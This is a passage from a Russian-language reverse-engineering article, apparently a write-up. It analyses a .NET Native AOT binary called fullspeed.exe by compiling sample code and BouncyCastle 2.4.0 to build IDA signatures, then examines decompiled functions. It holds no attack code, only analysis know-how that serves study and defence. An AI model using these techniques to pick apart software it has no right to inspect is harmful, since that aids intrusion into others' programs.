&lt;Nullable&gt;enable&lt;\/Nullable&gt; &lt;PublishAot&gt;true&lt;\/PublishAot&gt; &lt;InvariantGlobalization&gt;true&lt;\/InvariantGlobalization&gt; &lt;\/PropertyGroup&gt; &lt;\/Project&gt; <\/code><\/pre>\n<p>\u0411\u0435\u0437 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 AOT-\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u0444\u0430\u0439\u043b \u043f\u0440\u043e\u0435\u043a\u0442\u0430 client.csproj \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<pre><code class=\"xml\">&lt;Project Sdk=\"Microsoft.NET.Sdk\"&gt; &lt;PropertyGroup&gt; &lt;OutputType&gt;Exe&lt;\/OutputType&gt; &lt;TargetFramework&gt;net8.0&lt;\/TargetFramework&gt; &lt;ImplicitUsings&gt;enable&lt;\/ImplicitUsings&gt; &lt;Nullable&gt;enable&lt;\/Nullable&gt; &lt;\/PropertyGroup&gt; &lt;\/Project&gt; <\/code><\/pre>\n<p>\u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043e\u0442\u043b\u0430\u0434\u043e\u0447\u043d\u044b\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b \u0441\u043e\u0437\u0434\u0430\u044e\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0414\u043b\u044f \u044f\u0432\u043d\u043e\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 <code>&lt;DebugType&gt;full&lt;\/DebugType&gt;<\/code>.<br \/> \u0414\u0430\u043b\u0435\u0435 \u043a \u043d\u0430\u0448\u0435\u043c\u0443 \u043f\u0440\u043e\u0435\u043a\u0442\u0443 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 <a href=\"https:\/\/www.nuget.org\/packages\/BouncyCastle.Cryptography\" rel=\"noopener noreferrer nofollow\">BouncyCastle<\/a> \u0432\u0435\u0440\u0441\u0438\u0438 2.4.0 \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u043a\u0435\u0442\u043d\u044b\u0439 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 <strong>NuGet<\/strong>:<\/p>\n<pre><code>dotnet add package BouncyCastle.Cryptography --version 2.4.0 <\/code><\/pre>\n<p>\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c \u043f\u0440\u043e\u0441\u0442\u0435\u0439\u0448\u0438\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 BouncyCastle \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c TCP-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435:<\/p>\n<pre><code class=\"cs\">using System.Net.Sockets; using Org.BouncyCastle.Math;  namespace client {     internal class client     {         static void Main(string[] args)         {             Console.WriteLine(\"Hello, World!\");              byte[] byteArray = { 0x01, 0x02, 0x03, 0x04 };             BigInteger bigIntP = new BigInteger(byteArray);             Console.WriteLine(bigIntP);              const string strIP = \"127.0.0.1\";             const int port = 31337;              TcpClient tcpClient;             NetworkStream networkStream;              tcpClient = new TcpClient(strIP, port);             networkStream = tcpClient.GetStream();         }     } } <\/code><\/pre>\n<p>\u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0441 AOT:<\/p>\n<pre><code>dotnet publish -c Release <\/code><\/pre>\n<p>\u041f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 <strong>IDA Professional 9.0<\/strong> \u0431\u0443\u0434\u0435\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043e \u043f\u043e\u0440\u044f\u0434\u043a\u0430 4783 \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0438\u043c\u0435\u043d\u0430 \u043c\u043d\u043e\u0433\u0438\u0445 \u0438\u0437 \u043d\u0438\u0445. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:<\/p>\n<pre><code class=\"cpp\">__int64 client_client_client__Main() {   __int64 v0; \/\/ rbx   __int64 v1; \/\/ rsi   __int64 v2; \/\/ rbx   System_Console_System_Console__WriteLine_12(&amp;_Str_Hello__World__98B83E2E14759B86F964E17964E7B706E21EA7DEEA1267ABCE2F3FFB95A81BBC);   v0 = RhpNewArray(&amp;__Array_UInt8_::`vftable', 4);   *(_DWORD *)(v0 + 16) = client__PrivateImplementationDetails____9F64A747E1B97F131FABB6B447296C9B6F0201E79FB3C5356E6C77E89B6A806A;   v1 = RhpNewFast(&amp;BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger::`vftable');   BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_2(v1, v0);   System_Console_System_Console__WriteLine_11(v1);   v2 = RhpNewFinalizable(&amp;System_Net_Sockets_System_Net_Sockets_TcpClient::`vftable');   System_Net_Sockets_System_Net_Sockets_TcpClient___ctor_2(     v2,     &amp;_Str__127_0_0_1_A65017B383AFE1D4C5D31A1A299B19102BA29D57D8A1D13F96EF19D7A3A64B7C,     31337);   return System_Net_Sockets_System_Net_Sockets_TcpClient__GetStream(v2); } <\/code><\/pre>\n<p>\u041d\u0430 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 idb \u043f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u0430 <strong>makesig<\/strong> \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043e 4185 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 (\u0444\u0430\u0439\u043b <strong>.pat<\/strong>).<\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u044d\u0442\u0438\u0445 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 \u0432 \u043f\u0440\u043e\u0435\u043a\u0442 IDA, \u0441 \u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c fullspeed.exe, \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0443 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0438\u043c\u0435\u043d\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044e <strong>__managed__Main()<\/strong>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043a\u043e\u0434 \u0441\u0440\u0435\u0434\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/hi\/dx\/xe\/hidxxexuk-kos9bb4ewqln0xgw8.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 \u0432 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/hi\/dx\/xe\/hidxxexuk-kos9bb4ewqln0xgw8.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/hi\/dx\/xe\/hidxxexuk-kos9bb4ewqln0xgw8.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 \u0432 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430<\/figcaption><\/div>\n<\/figure>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 \u0431\u044b\u043b\u043e \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u043d\u043e 3355 \u0444\u0443\u043d\u043a\u0446\u0438\u0439:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/dm\/im\/ul\/dmimul25vbwkamlecnua5lp7wsw.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0435 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u043d\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/dm\/im\/ul\/dmimul25vbwkamlecnua5lp7wsw.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/dm\/im\/ul\/dmimul25vbwkamlecnua5lp7wsw.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0435 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u043d\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439<\/figcaption><\/div>\n<\/figure>\n<p>\u0412 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c, \u043f\u0440\u0438 \u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u0430, \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u044d\u0442\u043e \u0447\u0438\u0441\u043b\u043e \u0434\u043e 4400 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u043d\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439.<\/p>\n<h3>\u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 BouncyCastle<\/h3>\n<p>\u0417\u0430\u0434\u0430\u0447\u0430 \u043f\u043e \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u043d\u0438\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u0447\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0443\u043f\u0440\u043e\u0449\u0430\u044e\u0442\u0441\u044f \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 BouncyCastle \u0438\u043c\u0435\u0435\u0442 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u043d\u0435 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438.<\/p>\n<p>\u0414\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0442\u044c \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0438\u0437 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 BouncyCastle \u0441\u0442\u043e\u0438\u0442 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u0434 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 fullspeed.exe \u2013 <strong>2.4.0<\/strong> \u0438 \u043a\u043e\u043c\u043c\u0438\u0442\u0443 <strong>83ebf4a805<\/strong>:<\/p>\n<pre><code>git clone https:\/\/github.com\/bcgit\/bc-csharp cd bc-csharp git checkout 83ebf4a805 <\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043d\u0430 \u043d\u0443\u0436\u043d\u044b\u0439 \u043a\u043e\u043c\u043c\u0438\u0442 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432 <strong>BouncyCastle.Crypto.csproj<\/strong> \u0438 <strong>BouncyCastle.Crypto.Tests.csproj<\/strong>. \u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0441\u0442\u0440\u043e\u043a\u0443:<\/p>\n<pre><code class=\"xml\">&lt;TargetFrameworks&gt;net6.0;netstandard2.0;net461&lt;\/TargetFrameworks&gt; <\/code><\/pre>\n<p>\u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u043d\u0430:<\/p>\n<pre><code class=\"xml\">&lt;TargetFrameworks&gt;net8.0&lt;\/TargetFrameworks&gt; &lt;PublishAot&gt;true&lt;\/PublishAot&gt; <\/code><\/pre>\n<p>\u041f\u0435\u0440\u0435\u0439\u0434\u0451\u043c \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0438 \u0441\u043e\u0431\u0435\u0440\u0451\u043c \u0435\u0433\u043e \u0441 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 AOT-\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0435\u0439. \u041f\u0440\u0438\u043c\u0435\u0440 \u0434\u043b\u044f BouncyCastle.Crypto.csproj:<\/p>\n<pre><code>cd bc-csharp\\crypto\\src dotnet publish -c Release --self-contained -r win-x64 -f net8.0 <\/code><\/pre>\n<p>\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e \u0434\u043b\u044f BouncyCastle.Crypto.Tests.csproj:<\/p>\n<pre><code>cd bc-csharp\\crypto\\test dotnet publish -c Release --self-contained -r win-x64 -f net8.0 <\/code><\/pre>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u043e:<\/p>\n<ul>\n<li>\n<p>3655 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 <strong>BouncyCastle.Cryptography.pat<\/strong><\/p>\n<\/li>\n<li>\n<p>32202 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 <strong>BouncyCastle.Crypto.Tests.pat<\/strong><\/p>\n<\/li>\n<\/ul>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 BouncyCastle \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f 4476 \u0444\u0443\u043d\u043a\u0446\u0438\u0439:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/y9\/n0\/yn\/y9n0ynuyoyuqlzlemi_h4nol44g.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u043d\u0438\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u043f\u043e\u0441\u043b\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 BouncyCastle\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/y9\/n0\/yn\/y9n0ynuyoyuqlzlemi_h4nol44g.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/y9\/n0\/yn\/y9n0ynuyoyuqlzlemi_h4nol44g.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u043d\u0438\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u043f\u043e\u0441\u043b\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 <strong>BouncyCastle<\/strong><\/figcaption><\/div>\n<\/figure>\n<h3>\u041f\u043e\u0434\u0445\u043e\u0434\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f<\/h3>\n<p>\u041f\u0440\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 .NET-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e AOT-\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438, \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432\u044b\u0434\u0435\u043b\u0438\u0442\u044c \u0440\u044f\u0434 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u0438\u043a, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043e\u0431\u043b\u0435\u0433\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043b\u043e\u0433\u0438\u043a\u0438 \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b. \u042d\u0442\u0438 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u0431\u044b\u043b\u0438 \u0432\u044b\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u044b \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u043e \u0432 \u0445\u043e\u0434\u0435 \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433\u0430, \u043d\u0430\u0447\u043d\u0451\u043c \u0438\u0445 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0441 \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u0432 \u043f\u0435\u0440\u0432\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0432 \u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c\u043e\u043c \u0444\u0430\u0439\u043b\u0435.<br \/> \u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u044d\u0442\u0438 \u043c\u0435\u0442\u043e\u0434\u044b \u0431\u0443\u0434\u0443\u0442 \u043e\u043f\u0438\u0441\u0430\u043d\u044b, \u0432 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0431\u0443\u0434\u0435\u0442 \u0443\u0434\u0435\u043b\u044f\u0442\u044c\u0441\u044f \u0441\u0430\u043c\u043e\u043c\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u2013 \u0431\u0435\u0437 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0433\u043e \u043f\u043e\u044f\u0441\u043d\u0435\u043d\u0438\u044f \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430, \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u043d\u0435\u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0438\u043b\u0438 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432.<\/p>\n<h4>\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 sub_140108AC0()<\/h4>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f .NET \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442\u0441\u044f \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e <strong>sub_140108AC0()<\/strong>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043e\u0441\u043d\u043e\u0432\u043d\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u043b\u043e\u0433\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/sz\/mt\/5s\/szmt5srkglfkg3wjp77zgv3nfne.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u0424\u0443\u043d\u043a\u0446\u0438\u044f sub_140108AC0()\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/sz\/mt\/5s\/szmt5srkglfkg3wjp77zgv3nfne.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/sz\/mt\/5s\/szmt5srkglfkg3wjp77zgv3nfne.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u0424\u0443\u043d\u043a\u0446\u0438\u044f <strong>sub_140108AC0()<\/strong><\/figcaption><\/div>\n<\/figure>\n<p>\u0412 \u0441\u0430\u043c\u043e\u043c \u043d\u0430\u0447\u0430\u043b\u0435 \u044d\u0442\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 (\u0441\u0442\u0440\u043e\u043a\u0430 24) \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f <strong>sub_140001ED4()<\/strong>. \u0410\u043d\u0430\u043b\u0438\u0437 \u0435\u0451 \u0442\u0435\u043b\u0430 \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u043f\u043e\u0434\u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043e\u043d\u0430 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u0437\u0430\u043f\u0443\u0441\u043a \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/su\/my\/qu\/sumyquedy2g_vxhajgxjtv8wpno.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u041a\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 sub_140001ED4()\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/su\/my\/qu\/sumyquedy2g_vxhajgxjtv8wpno.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/su\/my\/qu\/sumyquedy2g_vxhajgxjtv8wpno.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u041a\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <strong>sub_140001ED4()<\/strong><\/figcaption><\/div>\n<\/figure>\n<pre><code class=\"cpp\">__int64 sub_140001ED4() {   __int64 result;   result = qword_140238A68;   if ( qword_140158FB8 )     return S_P_CoreLib_System_Runtime_CompilerServices_ClassConstructorRunner__CheckStaticClassConstructionReturnGCStaticBase(              &amp;qword_140158FB8,              qword_140238A68);   return result; } <\/code><\/pre>\n<p>\u042d\u0442\u043e\u0442 \u0432\u044b\u0437\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043c\u0435\u0442\u043e\u0434 <strong>ClassConstructorRunner.CheckStaticClassConstructionReturnGCStaticBase()<\/strong>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 